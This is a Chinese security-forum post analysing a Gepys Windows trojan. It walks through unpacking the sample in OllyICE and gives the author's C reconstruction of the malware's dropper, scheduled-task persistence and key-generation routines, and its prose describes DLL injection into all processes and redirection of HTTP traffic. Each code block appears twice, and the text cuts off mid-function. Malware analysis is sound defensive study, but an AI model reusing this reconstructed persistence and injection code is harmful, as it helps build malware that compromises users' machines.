-
-
[原创]某Gepys木马分析与还原C代码
-
发表于: 2025-7-11 17:51 3876
-
第一次完整分析木马,根据网上查到的资料,此木马属于特洛伊木马,是一类以严重侵害运行系统的可用性、完整性、保密性为目的,或运行后能达到同类效果的恶意代码。主要针对X86体系结构下的Windows 32位系统进行攻击。
分析的目的是了解该木马的攻击手法,并练习将汇编代码逆向还原成C代码。限于个人水平,还原可能有不准确之处,欢迎各位前辈指正,样本已上传到附件。
壳代码就不多说了,这个壳还挺简单的,感兴趣的读者可以自行尝试分析壳代码,我只说一下脱壳的过程。
首先使用调试器调试启动该木马,我使用的是OllyICE,使木马程序停到入口处,然后定位到ret指令上的第一个call,按下F4运行到目标地址

按F7单步步入,进入call,如果看到的不是汇编代码,是一堆16进制数据,就按ctrl+a,同样往下翻,找到ret指令上面的第一个call,然后按下F4运行到目标地址

按F7单步步入,进入call,然后往下翻,找到ret指令上面的第二个call,该call下方的指令是sub esp,0xC,同样按F4运行到目标地址

按F7单步步入,进入call,此时停留的地址就是木马程序的真正入口,我们用OllyICE提供的插件进行dump,点击插件,然后点击dump

直接选择dump即可,将dump下来的文件保存到本地,这时候就可以分析木马真正的代码逻辑

因为我将该木马的汇编代码还原成了C代码,所以分析过程,我直接根据C代码说明,针对每个函数进行分类,读者可以参考对应的函数的汇编代码共同查看该文章
该木马程序是一个win32应用,用户代码的入口是WinMain,下面是WinMain的C代码,它就是创建VS工程时,由VS生成的代码,其他的代码没什么意义,我们需要查看MyRegisterClass函数
这个函数也是由VS生成的,它负责注册窗口类,绑定的窗口过程是WndProc,WndProc是进行窗口消息处理的回调,当操作窗口时,会调用该回调函数,所以我们查看WndProc
在产生WM_CREATE消息的时候,即创建窗口的时候,启动了一个定时器,该定时器每隔1000毫秒向消息队列里投递一个WM_TIMER消息,我们可以查看到WM_TIMER消息的case分支中,当g_nNum全局变量的值等于5时,就调用sub_4022D0,而sub_4022D0就是恶意代码真正的入口
该函数会产生两个随机值,保存到key1中,至于这是什么算法,我就不太了解了
根据key值在pszBuf指向的内存中产生随机字符串
主要逻辑就是调用sub_401E80将自身可执行文件写入到堆内存,创建名为g_szExistingFileName的文件,然后根据系统版本号,调用sub_401510或sub_401830
主要逻辑就是申请堆内存,然后将自身可执行文件读到堆内存,然后将堆地址返回
该函数内部使用到了COM,主要逻辑就是创建计划任务,计划任务启动的应用就是g_szExistingFileName中存储的路径,然后命令行参数是g_szSubStr1,这样我们就可以去查看sub_4022D0中的第130行代码,查找命令行参数的子串就能找到,sub_4022D0中的第130行代码if分支内部调了sub_4013A0,然后判断系统版本大于5,就调用sub_402100,我们先去查看sub_4013A0,然后再查看sub_402100
它主要逻辑也是创建计划任务,启动的应用就是g_szExistingFileName中存储的路径,然后命令行参数是g_szSubStr1,所以sub_401F70中第45行代码,无论走哪个分支,都会创建计划任务,并且命令行参数是g_szSubStr1,我们回到sub_4022D0中的第130行代码查看,它内部调了sub_4013A0,然后判断系统版本大于5,就调用sub_402100,我们先去查看sub_4013A0,然后再查看sub_402100
解密算法,在sub_4013A0中被调用,解密PE文件
等价于汇编bswap指令,将32位值的字节顺序反转
该DLL由主程序释放,同时主程序也修改了某个注册表项,使该DLL会在所有加载user32.dll的进程中被加载,也就意味着该DLL的恶意行为会影响所有进程
主程序释放的dll也加了壳,是同一个壳,它没有像主程序一样替换主模块,它将用户代码保存到堆中运行,我没有想到dump的完美方案,如果大佬有解决方案,可以跟我说下,所以我就说一下定位用户代码的流程

然后F7单步步入到函数内部,往下翻代码,F4到ret指令上面第一个call

F7单步步入到函数内部,同样往下翻代码,找到第一个call指令和jmp指令的组合,F4运行到call

F7单步步入到函数内部,往下翻代码,找到ret指令上面第二个call指令,call指令下面一条指令是sub esp,0xC,F4运行到call

F7单步步入到函数内部,可以看到下图,它调用CreateThread启动了线程

定位用户代码的最后一张图可以看到当时的申请的堆基址是0x005E0000,所以下面的函数名都是以该堆基址为基准命名
创建一个线程,线程回调为sub_5E16B0
产生随机值
解密算法
Hook指定函数
将主机名传入sub_5E12C9并调用,然后再调用原先函数,调用原先函数时传入的第一个参数为sub_5E12C9的返回值
将主机名传入sub_5E12C9并调用,然后再调用原先函数,调用原先函数时传入的第一个参数为sub_5E12C9的返回值
主要逻辑是根据主机名进行编码,然后将编码后的结果保存到文件中
主要逻辑是获取临时路径,然后进行字符串拼接,最终得到g_byte_5F3110 = "临时路径\low\jngpyes.tmp"和g_byte_5F3710 = "临时路径\jngpyes.tmp"
读指定文件,将数据读到g_byte_5F3008中
创建指定文件,将g_byte_5F3008数据写到文件中
如果发送的数大于16,那么就进入if分支,调用sub_5E13C0
主要是针对http协议数据包修改,会修改主机名,这样数据包就发送给指定的主机
就是判断buf和p1是否相等,比较p2个字节
int APIENTRY wWinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPWSTR lpCmdLine, _In_ int nCmdShow){ UNREFERENCED_PARAMETER(hPrevInstance); UNREFERENCED_PARAMETER(lpCmdLine); // TODO: 在此处放置代码。 // 初始化全局字符串 LoadStringW(hInstance, IDS_APP_TITLE, g_szTitle, MAX_LOADSTRING); LoadStringW(hInstance, IDC_GEPYS, g_szWindowClass, MAX_LOADSTRING); MyRegisterClass(hInstance); // 执行应用程序初始化: if (!InitInstance (hInstance, nCmdShow)) { return FALSE; } HACCEL hAccelTable = LoadAccelerators(hInstance, MAKEINTRESOURCE(IDC_GEPYS)); MSG msg; // 主消息循环: while (GetMessage(&msg, nullptr, 0, 0)) { if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg)) { TranslateMessage(&msg); DispatchMessage(&msg); } } return (int) msg.wParam;}int APIENTRY wWinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPWSTR lpCmdLine, _In_ int nCmdShow){ UNREFERENCED_PARAMETER(hPrevInstance); UNREFERENCED_PARAMETER(lpCmdLine); // TODO: 在此处放置代码。 // 初始化全局字符串 LoadStringW(hInstance, IDS_APP_TITLE, g_szTitle, MAX_LOADSTRING); LoadStringW(hInstance, IDC_GEPYS, g_szWindowClass, MAX_LOADSTRING); MyRegisterClass(hInstance); // 执行应用程序初始化: if (!InitInstance (hInstance, nCmdShow)) { return FALSE; } HACCEL hAccelTable = LoadAccelerators(hInstance, MAKEINTRESOURCE(IDC_GEPYS)); MSG msg; // 主消息循环: while (GetMessage(&msg, nullptr, 0, 0)) { if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg)) { TranslateMessage(&msg); DispatchMessage(&msg); } } return (int) msg.wParam;}ATOM MyRegisterClass(HINSTANCE hInstance){ WNDCLASSEXW wcex; wcex.cbSize = sizeof(WNDCLASSEX); wcex.style = CS_HREDRAW | CS_VREDRAW; wcex.lpfnWndProc = WndProc; //窗口过程 wcex.cbClsExtra = 0; wcex.cbWndExtra = 0; wcex.hInstance = hInstance; wcex.hIcon = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_GEPYS)); wcex.hCursor = LoadCursor(nullptr, IDC_ARROW); wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW+1); wcex.lpszMenuName = MAKEINTRESOURCEW(IDC_GEPYS); wcex.lpszClassName = g_szWindowClass; wcex.hIconSm = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_SMALL)); return RegisterClassExW(&wcex);}ATOM MyRegisterClass(HINSTANCE hInstance){ WNDCLASSEXW wcex; wcex.cbSize = sizeof(WNDCLASSEX); wcex.style = CS_HREDRAW | CS_VREDRAW; wcex.lpfnWndProc = WndProc; //窗口过程 wcex.cbClsExtra = 0; wcex.cbWndExtra = 0; wcex.hInstance = hInstance; wcex.hIcon = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_GEPYS)); wcex.hCursor = LoadCursor(nullptr, IDC_ARROW); wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW+1); wcex.lpszMenuName = MAKEINTRESOURCEW(IDC_GEPYS); wcex.lpszClassName = g_szWindowClass; wcex.hIconSm = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_SMALL)); return RegisterClassExW(&wcex);}LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam){ switch (message) { case WM_CREATE://0x1 { //启动定时器 SetTimer(hWnd, 1, 1000, 0); break; } case WM_COMMAND: { int wmId = LOWORD(wParam); // 分析菜单选择: switch (wmId) { case IDM_ABOUT: DialogBox(g_hInst, MAKEINTRESOURCE(IDD_ABOUTBOX), hWnd, About); break; case IDM_EXIT: DestroyWindow(hWnd); break; default: return DefWindowProc(hWnd, message, wParam, lParam); } } break; case WM_PAINT: { PAINTSTRUCT ps; HDC hdc = BeginPaint(hWnd, &ps); // TODO: 在此处添加使用 hdc 的任何绘图代码... EndPaint(hWnd, &ps); } break; case WM_DESTROY: PostQuitMessage(0); break; case WM_TIMER: //0x113 { Global::g_nNum++; if (Global::g_nNum == 5) { //恶意代码入口 sub_4022D0(); } break; } default: return DefWindowProc(hWnd, message, wParam, lParam); } return 0;}LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam){ switch (message) { case WM_CREATE://0x1 { //启动定时器 SetTimer(hWnd, 1, 1000, 0); break; } case WM_COMMAND: { int wmId = LOWORD(wParam); // 分析菜单选择: switch (wmId) { case IDM_ABOUT: DialogBox(g_hInst, MAKEINTRESOURCE(IDD_ABOUTBOX), hWnd, About); break; case IDM_EXIT: DestroyWindow(hWnd); break; default: return DefWindowProc(hWnd, message, wParam, lParam); } } break; case WM_PAINT: { PAINTSTRUCT ps; HDC hdc = BeginPaint(hWnd, &ps); // TODO: 在此处添加使用 hdc 的任何绘图代码... EndPaint(hWnd, &ps); } break; case WM_DESTROY: PostQuitMessage(0); break; case WM_TIMER: //0x113 { Global::g_nNum++; if (Global::g_nNum == 5) { //恶意代码入口 sub_4022D0(); } break; } default: return DefWindowProc(hWnd, message, wParam, lParam); } return 0;}void sub_4022D0(){ //获取进程堆句柄 Global::g_hHeap = GetProcessHeap(); //获取自系统启动以来已用过的毫秒数 Global::g_dwKey2[0] = GetTickCount(); //检索当前系统日期和时间 FILETIME systemTimeAsFileTime; GetSystemTimeAsFileTime(&systemTimeAsFileTime); Global::g_dwKey2[1] = systemTimeAsFileTime.dwHighDateTime; Global::g_dwKey2[2] = systemTimeAsFileTime.dwLowDateTime; //获取当前进程ID Global::g_dwKey2[3] = GetCurrentProcessId(); //获取当前线程ID Global::g_dwKey1[0] = GetCurrentThreadId(); Global::g_dwKey1[1] = 0; //生成随机值 sub_401170(Global::g_dwKey1,Global::g_dwKey2); //打开注册表 HKEY pResult; RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders", 0, KEY_QUERY_VALUE, &pResult ); //查询注册表值 DWORD dwSize = BUF_SIZE; RegQueryValueExW(pResult, L"Common AppData", NULL, NULL, (LPBYTE)Global::g_szShortPath, &dwSize); //关闭注册表 RegCloseKey(pResult); //定位到字符串结尾 WCHAR* pTmp = Global::g_szShortPath; DWORD i = 0; while (pTmp[i] != L'\0') { i++; } //判断最后一个字符是不是'\',如果不是,那么就追加'\' if (pTmp[i - 1] != L'\\') { pTmp[i] = L'\\'; } //字符串拼接 wcscat(Global::g_szShortPath, L"Mozilla\\"); //创建目录 CreateDirectoryW(Global::g_szShortPath, NULL); //获取路径的短路径格式 GetShortPathNameW(Global::g_szShortPath, Global::g_szShortPath, BUF_SIZE); //打开注册表 LSTATUS nRet = RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Cryptography", 0, KEY_WOW64_64KEY | KEY_QUERY_VALUE, &pResult); if (nRet != ERROR_SUCCESS) { return; } //查询注册表项 BYTE data[128] = { 0 }; dwSize = sizeof(data); RegQueryValueExW(pResult, L"MachineGuid", NULL, NULL, data, &dwSize); //循环遍历,将GUID转成数值 pTmp = (WCHAR*)data; BYTE var_14[16] = { 0 }; int ebx = 0; while (pTmp[i] != L'\0') { WCHAR dx = pTmp[i] - L'0'; WCHAR cx = 0; if (dx <= 9) { cx = pTmp[i] - L'0'; } else if ((pTmp[i] >= L'a' && pTmp[i] <= L'f') || ((WCHAR)(pTmp[i] - L'A')) < 5) { cx = (pTmp[i] % 16) + 9; } else { i++; continue; } if ((ebx % 2) != 0) { var_14[ebx / 2] |= cx; } else { var_14[ebx / 2] = cx << 4; } ebx++; i++; } //关闭注册表 RegCloseKey(pResult); i = 0; while (i < 10) { //生成随机值 sub_401170((DWORD*)var_14, Global::g_dword_408948); sub_401170((DWORD*)(var_14 + 4), Global::g_dword_408948); sub_401170((DWORD*)(var_14 + 8), Global::g_dword_408948); i++; } //字符串拷贝 wcscpy(Global::g_szFileName, Global::g_szShortPath); //生成随机字符串 pTmp = sub_4012D0(Global::g_szFileName + wcslen(Global::g_szFileName), ((DWORD*)var_14)[0]); //字符串拼接 wcscat(pTmp, L".dll"); //字符串拷贝 wcscpy(Global::g_szExistingFileName, Global::g_szShortPath); //生成随机字符串 pTmp = sub_4012D0(Global::g_szExistingFileName + wcslen(Global::g_szExistingFileName), ((DWORD*)var_14)[1]); //字符串拼接 wcscat(pTmp, L".exe"); //生成随机字符串 sub_4012D0(Global::g_szSubStr2, ((DWORD*)var_14)[2]); sub_4012D0(Global::g_szSubStr1 + 1, ((DWORD*)var_14)[3]); Global::g_szSubStr1[0] = L'-'; //查找子串 if (wcsstr(GetCommandLineW(), Global::g_szSubStr1) != NULL) { //修改注册表项,释放dll文件 bool bRet = sub_4013A0(); //获取系统版本 DWORD dwVer = GetVersion(); if (!bRet || (dwVer & 0xFF) <= 5) { return; } //拷贝自身模块,在临时目录下创建文件 sub_402100(); } //loc_402664 else { sub_401F70(); }}void sub_4022D0(){ //获取进程堆句柄 Global::g_hHeap = GetProcessHeap(); //获取自系统启动以来已用过的毫秒数 Global::g_dwKey2[0] = GetTickCount(); //检索当前系统日期和时间 FILETIME systemTimeAsFileTime; GetSystemTimeAsFileTime(&systemTimeAsFileTime); Global::g_dwKey2[1] = systemTimeAsFileTime.dwHighDateTime; Global::g_dwKey2[2] = systemTimeAsFileTime.dwLowDateTime; //获取当前进程ID Global::g_dwKey2[3] = GetCurrentProcessId(); //获取当前线程ID Global::g_dwKey1[0] = GetCurrentThreadId(); Global::g_dwKey1[1] = 0; //生成随机值 sub_401170(Global::g_dwKey1,Global::g_dwKey2); //打开注册表 HKEY pResult; RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders", 0, KEY_QUERY_VALUE, &pResult ); //查询注册表值 DWORD dwSize = BUF_SIZE; RegQueryValueExW(pResult, L"Common AppData", NULL, NULL, (LPBYTE)Global::g_szShortPath, &dwSize); //关闭注册表 RegCloseKey(pResult); //定位到字符串结尾 WCHAR* pTmp = Global::g_szShortPath; DWORD i = 0; while (pTmp[i] != L'\0') { i++; } //判断最后一个字符是不是'\',如果不是,那么就追加'\' if (pTmp[i - 1] != L'\\') { pTmp[i] = L'\\'; } //字符串拼接 wcscat(Global::g_szShortPath, L"Mozilla\\"); //创建目录 CreateDirectoryW(Global::g_szShortPath, NULL); //获取路径的短路径格式 GetShortPathNameW(Global::g_szShortPath, Global::g_szShortPath, BUF_SIZE); //打开注册表 LSTATUS nRet = RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Cryptography", 0, KEY_WOW64_64KEY | KEY_QUERY_VALUE, &pResult); if (nRet != ERROR_SUCCESS) { return; } //查询注册表项 BYTE data[128] = { 0 }; dwSize = sizeof(data); RegQueryValueExW(pResult, L"MachineGuid", NULL, NULL, data, &dwSize); //循环遍历,将GUID转成数值 pTmp = (WCHAR*)data; BYTE var_14[16] = { 0 }; int ebx = 0; while (pTmp[i] != L'\0') { WCHAR dx = pTmp[i] - L'0'; WCHAR cx = 0; if (dx <= 9) { cx = pTmp[i] - L'0'; } else if ((pTmp[i] >= L'a' && pTmp[i] <= L'f') || ((WCHAR)(pTmp[i] - L'A')) < 5) { cx = (pTmp[i] % 16) + 9; } else { i++; continue; } if ((ebx % 2) != 0) { var_14[ebx / 2] |= cx; } else { var_14[ebx / 2] = cx << 4; } ebx++; i++; } //关闭注册表 RegCloseKey(pResult); i = 0; while (i < 10) { //生成随机值 sub_401170((DWORD*)var_14, Global::g_dword_408948); sub_401170((DWORD*)(var_14 + 4), Global::g_dword_408948); sub_401170((DWORD*)(var_14 + 8), Global::g_dword_408948); i++; } //字符串拷贝 wcscpy(Global::g_szFileName, Global::g_szShortPath); //生成随机字符串 pTmp = sub_4012D0(Global::g_szFileName + wcslen(Global::g_szFileName), ((DWORD*)var_14)[0]); //字符串拼接 wcscat(pTmp, L".dll"); //字符串拷贝 wcscpy(Global::g_szExistingFileName, Global::g_szShortPath); //生成随机字符串 pTmp = sub_4012D0(Global::g_szExistingFileName + wcslen(Global::g_szExistingFileName), ((DWORD*)var_14)[1]); //字符串拼接 wcscat(pTmp, L".exe"); //生成随机字符串 sub_4012D0(Global::g_szSubStr2, ((DWORD*)var_14)[2]); sub_4012D0(Global::g_szSubStr1 + 1, ((DWORD*)var_14)[3]); Global::g_szSubStr1[0] = L'-'; //查找子串 if (wcsstr(GetCommandLineW(), Global::g_szSubStr1) != NULL) { //修改注册表项,释放dll文件 bool bRet = sub_4013A0(); //获取系统版本 DWORD dwVer = GetVersion(); if (!bRet || (dwVer & 0xFF) <= 5) { return; } //拷贝自身模块,在临时目录下创建文件 sub_402100(); } //loc_402664 else { sub_401F70(); }}void sub_401170(DWORD key1[2], DWORD key2[4]){ DWORD eax = bswap32(key1[0]); DWORD ecx = bswap32(key1[1]); DWORD edx = 0; for (DWORD i = 0; i < 32; i++) { DWORD esi = bswap32(key2[edx % 4]) + edx; eax = eax + ((((ecx >> 5) ^ (ecx << 4)) + ecx) ^ esi); edx = edx - 0x61C88647; esi = bswap32(key2[(edx >> 0xB) % 4]) + edx; ecx = ecx + ((((eax >> 5) ^ (eax << 4)) + eax) ^ esi); } key1[0] = bswap32(eax); key1[1] = bswap32(ecx);}void sub_401170(DWORD key1[2], DWORD key2[4]){ DWORD eax = bswap32(key1[0]); DWORD ecx = bswap32(key1[1]); DWORD edx = 0; for (DWORD i = 0; i < 32; i++) { DWORD esi = bswap32(key2[edx % 4]) + edx; eax = eax + ((((ecx >> 5) ^ (ecx << 4)) + ecx) ^ esi); edx = edx - 0x61C88647; esi = bswap32(key2[(edx >> 0xB) % 4]) + edx; ecx = ecx + ((((eax >> 5) ^ (eax << 4)) + eax) ^ esi); } key1[0] = bswap32(eax); key1[1] = bswap32(ecx);}WCHAR* sub_4012D0(WCHAR* pszBuf, DWORD key){ DWORD edx = (key / 26); DWORD edi = key - (edx * 26); DWORD esi = edx; for (DWORD i = 1; i < 4; i++) { edx = (esi / 26); pszBuf[i] = (WCHAR)((esi - (edx * 26)) + 'a'); esi = edx; } edx = (esi / 26); esi = esi - (edx * 26); pszBuf[0] = (WCHAR)(edi + 'a'); edi = edx; pszBuf[4] = (WCHAR)(esi + 'a'); esi = (edi / 26); edx = esi * 26; edi = edi - edx; esi = esi - ((esi / 26) * 26); edi = edi + 'a'; esi = esi + 'a'; pszBuf[5] = (WCHAR)edi; pszBuf[6] = (WCHAR)esi; pszBuf[7] = L'\0'; return &pszBuf[7];}WCHAR* sub_4012D0(WCHAR* pszBuf, DWORD key){ DWORD edx = (key / 26); DWORD edi = key - (edx * 26); DWORD esi = edx; for (DWORD i = 1; i < 4; i++) { edx = (esi / 26); pszBuf[i] = (WCHAR)((esi - (edx * 26)) + 'a'); esi = edx; } edx = (esi / 26); esi = esi - (edx * 26); pszBuf[0] = (WCHAR)(edi + 'a'); edi = edx; pszBuf[4] = (WCHAR)(esi + 'a'); esi = (edi / 26); edx = esi * 26; edi = edi - edx; esi = esi - ((esi / 26) * 26); edi = edi + 'a'; esi = esi + 'a'; pszBuf[5] = (WCHAR)edi; pszBuf[6] = (WCHAR)esi; pszBuf[7] = L'\0'; return &pszBuf[7];}void sub_401F70(){ //申请堆内存,将自身可执行文件拷贝到堆内存 DWORD dwNumberOfBytesToWrite; LPVOID pBuf = sub_401E80(&dwNumberOfBytesToWrite); if (pBuf != NULL) { //创建文件 HANDLE hFile = CreateFileW(Global::g_szExistingFileName, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, 0, NULL); if (hFile == INVALID_HANDLE_VALUE) { WCHAR szNewFileName[BUF_SIZE]; //字符串拷贝 wcscpy(szNewFileName, Global::g_szExistingFileName); //生成随机字符串 sub_4012D0(szNewFileName + wcslen(szNewFileName), GetTickCount()); //字符串拼接 wcscat(szNewFileName, L".tmp"); //修改文件名 MoveFileExW(Global::g_szExistingFileName, szNewFileName, 0); MoveFileExW(szNewFileName, NULL, MOVEFILE_DELAY_UNTIL_REBOOT);//在系统重启时要删除的 szNewFileName 文件 //创建文件 hFile = CreateFileW(Global::g_szExistingFileName, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, 0, NULL); if (hFile == INVALID_HANDLE_VALUE) { //释放堆 HeapFree(Global::g_hHeap, 0, pBuf); return; } } //loc_402087 //写入文件 WriteFile(hFile, pBuf, dwNumberOfBytesToWrite, &dwNumberOfBytesToWrite, NULL); //关闭文件句柄 CloseHandle(hFile); //释放堆 HeapFree(Global::g_hHeap, 0, pBuf); //获取操作系统版本号 DWORD dwVer = GetVersion(); if (((BYTE)dwVer) == 5) { sub_401510(); } else { if (!sub_401830(1)) { sub_401830(0); } } }}void sub_401F70(){ //申请堆内存,将自身可执行文件拷贝到堆内存 DWORD dwNumberOfBytesToWrite; LPVOID pBuf = sub_401E80(&dwNumberOfBytesToWrite); if (pBuf != NULL) { //创建文件 HANDLE hFile = CreateFileW(Global::g_szExistingFileName, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, 0, NULL); if (hFile == INVALID_HANDLE_VALUE) { WCHAR szNewFileName[BUF_SIZE]; //字符串拷贝 wcscpy(szNewFileName, Global::g_szExistingFileName); //生成随机字符串 sub_4012D0(szNewFileName + wcslen(szNewFileName), GetTickCount()); //字符串拼接 wcscat(szNewFileName, L".tmp"); //修改文件名 MoveFileExW(Global::g_szExistingFileName, szNewFileName, 0); MoveFileExW(szNewFileName, NULL, MOVEFILE_DELAY_UNTIL_REBOOT);//在系统重启时要删除的 szNewFileName 文件 //创建文件 hFile = CreateFileW(Global::g_szExistingFileName, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, 0, NULL); if (hFile == INVALID_HANDLE_VALUE) { //释放堆 HeapFree(Global::g_hHeap, 0, pBuf); return; } } //loc_402087 //写入文件 WriteFile(hFile, pBuf, dwNumberOfBytesToWrite, &dwNumberOfBytesToWrite, NULL); //关闭文件句柄 CloseHandle(hFile); //释放堆 HeapFree(Global::g_hHeap, 0, pBuf); //获取操作系统版本号 DWORD dwVer = GetVersion(); if (((BYTE)dwVer) == 5) { sub_401510(); } else { if (!sub_401830(1)) { sub_401830(0); } } }}void* sub_401E80(DWORD * p0){ //获取当前可执行文件路径 WCHAR szFileName[BUF_SIZE]; GetModuleFileNameW(NULL, szFileName, BUF_SIZE); //打开当前可执行文件 HANDLE hFile = CreateFileW(szFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); if (hFile == INVALID_HANDLE_VALUE) { return NULL; } //获取文件大小 DWORD dwFileSize = GetFileSize(hFile, NULL); //申请堆内存 LPVOID pBuf = HeapAlloc(Global::g_hHeap, HEAP_ZERO_MEMORY, dwFileSize + 256); //读文件 ReadFile(hFile, pBuf, dwFileSize, &dwFileSize,NULL); //关闭句柄 CloseHandle(hFile); ((DWORD*)((BYTE*)pBuf + dwFileSize))[0] = Global::g_dwKey1[0]; ((DWORD*)((BYTE*)pBuf + dwFileSize))[1] = Global::g_dwKey1[1]; //产生随机值 sub_401170(Global::g_dwKey1, Global::g_dwKey2); *p0 = dwFileSize + 8; return pBuf;}void* sub_401E80(DWORD * p0){ //获取当前可执行文件路径 WCHAR szFileName[BUF_SIZE]; GetModuleFileNameW(NULL, szFileName, BUF_SIZE); //打开当前可执行文件 HANDLE hFile = CreateFileW(szFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); if (hFile == INVALID_HANDLE_VALUE) { return NULL; } //获取文件大小 DWORD dwFileSize = GetFileSize(hFile, NULL); //申请堆内存 LPVOID pBuf = HeapAlloc(Global::g_hHeap, HEAP_ZERO_MEMORY, dwFileSize + 256); //读文件 ReadFile(hFile, pBuf, dwFileSize, &dwFileSize,NULL); //关闭句柄 CloseHandle(hFile); ((DWORD*)((BYTE*)pBuf + dwFileSize))[0] = Global::g_dwKey1[0]; ((DWORD*)((BYTE*)pBuf + dwFileSize))[1] = Global::g_dwKey1[1]; //产生随机值 sub_401170(Global::g_dwKey1, Global::g_dwKey2); *p0 = dwFileSize + 8; return pBuf;}void sub_401510(){ //初始化COM CoInitializeEx(NULL, COINIT_MULTITHREADED); //创建对象 ITaskScheduler* pTaskScheduler = NULL; CoCreateInstance(CLSID_CTaskScheduler,NULL,1, IID_ITaskScheduler,(LPVOID*)&pTaskScheduler); //删除任务 pTaskScheduler->Delete(Global::g_szSubStr2); //创建工作项 ITask* pTask = NULL; pTaskScheduler->NewWorkItem(Global::g_szSubStr2, CLSID_CTask, IID_ITask, (IUnknown**)&pTask); if (pTask != NULL) { //创建触发器 WORD nNewTrigger; ITaskTrigger* pTrigger = NULL; pTask->CreateTrigger(&nNewTrigger, &pTrigger); //设置任务触发器的触发器条件 TASK_TRIGGER trigger = { 0 }; trigger.cbTriggerSize = sizeof(trigger); trigger.wBeginYear = 2000; trigger.wBeginMonth = 1; trigger.wBeginDay = 1; trigger.MinutesDuration = 0xFFFF; trigger.TriggerType = TASK_EVENT_TRIGGER_AT_SYSTEMSTART; pTrigger->SetTrigger(&trigger); //将特定应用程序分配给当前任务 pTask->SetApplicationName(Global::g_szExistingFileName); //设置用于运行工作项的帐户名称和密码 pTask->SetAccountInformation(L"", NULL); //设置任务的命令行参数 pTask->SetParameters(Global::g_szSubStr1); //查询接口 IPersistFile* pPersistFile = NULL; pTask->QueryInterface(IID_IPersist, (void**)&pPersistFile); if (pPersistFile != NULL) { //对象的副本保存到指定的文件中 pPersistFile->Save(NULL, TRUE); //减少引用计数 pPersistFile->Release(); } //loc_4017D7 pTask->Run(); //向任务计划程序服务发送运行 工作项的请求 //减少引用计数 pTask->Release(); pTrigger->Release(); pTaskScheduler->Release(); //关闭COM CoUninitialize(); }}void sub_401510(){ //初始化COM CoInitializeEx(NULL, COINIT_MULTITHREADED); //创建对象 ITaskScheduler* pTaskScheduler = NULL; CoCreateInstance(CLSID_CTaskScheduler,NULL,1, IID_ITaskScheduler,(LPVOID*)&pTaskScheduler); //删除任务 pTaskScheduler->Delete(Global::g_szSubStr2); //创建工作项 ITask* pTask = NULL; pTaskScheduler->NewWorkItem(Global::g_szSubStr2, CLSID_CTask, IID_ITask, (IUnknown**)&pTask); if (pTask != NULL) { //创建触发器 WORD nNewTrigger; ITaskTrigger* pTrigger = NULL; pTask->CreateTrigger(&nNewTrigger, &pTrigger); //设置任务触发器的触发器条件 TASK_TRIGGER trigger = { 0 }; trigger.cbTriggerSize = sizeof(trigger); trigger.wBeginYear = 2000; trigger.wBeginMonth = 1; trigger.wBeginDay = 1; trigger.MinutesDuration = 0xFFFF; trigger.TriggerType = TASK_EVENT_TRIGGER_AT_SYSTEMSTART; pTrigger->SetTrigger(&trigger); //将特定应用程序分配给当前任务 pTask->SetApplicationName(Global::g_szExistingFileName); //设置用于运行工作项的帐户名称和密码 pTask->SetAccountInformation(L"", NULL); //设置任务的命令行参数 pTask->SetParameters(Global::g_szSubStr1); //查询接口 IPersistFile* pPersistFile = NULL; pTask->QueryInterface(IID_IPersist, (void**)&pPersistFile); if (pPersistFile != NULL) { //对象的副本保存到指定的文件中 pPersistFile->Save(NULL, TRUE); //减少引用计数 pPersistFile->Release(); } //loc_4017D7 pTask->Run(); //向任务计划程序服务发送运行 工作项的请求 //减少引用计数 pTask->Release(); pTrigger->Release(); pTaskScheduler->Release(); //关闭COM CoUninitialize(); }}bool sub_401830(DWORD p0){ //初始化COM CoInitializeEx(NULL, COINIT_APARTMENTTHREADED); //注册安全性并设置进程的默认安全值 CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, NULL); //创建对象 ITaskService* pTaskService = NULL; CoCreateInstance(CLSID_TaskScheduler, NULL, 1, IID_ITaskService, (LPVOID*)&pTaskService); //连接计算机 pTaskService->Connect({ 0 }, { 0 }, { 0 }, { 0 }); //获取已注册任务的文件夹 ITaskFolder* pFolder = NULL; WCHAR str[] = L"\\"; pTaskService->GetFolder(str, &pFolder); //获取用设置和属性填充的空任务定义对象 ITaskDefinition* pDefinition = NULL; pTaskService->NewTask(0, &pDefinition); //减少引用计数 pTaskService->Release(); //获取任务设置接口 ITaskSettings* pSettings = NULL; pDefinition->get_Settings(&pSettings); //启用延迟启动 pSettings->put_StartWhenAvailable(TRUE); //减少引用计数 pSettings->Release(); //获取或设置用于启动任务的触发器的集合 ITriggerCollection* pTriggerCollection = NULL; pDefinition->get_Triggers(&pTriggerCollection); IBootTrigger* pBootTrigger = NULL; ITrigger* pTrigger = NULL; WCHAR strId[] = L"1"; if (p0 != 0) { //为任务创建新触发器 pTriggerCollection->Create(TASK_TRIGGER_BOOT, &pTrigger); //减少引用计数 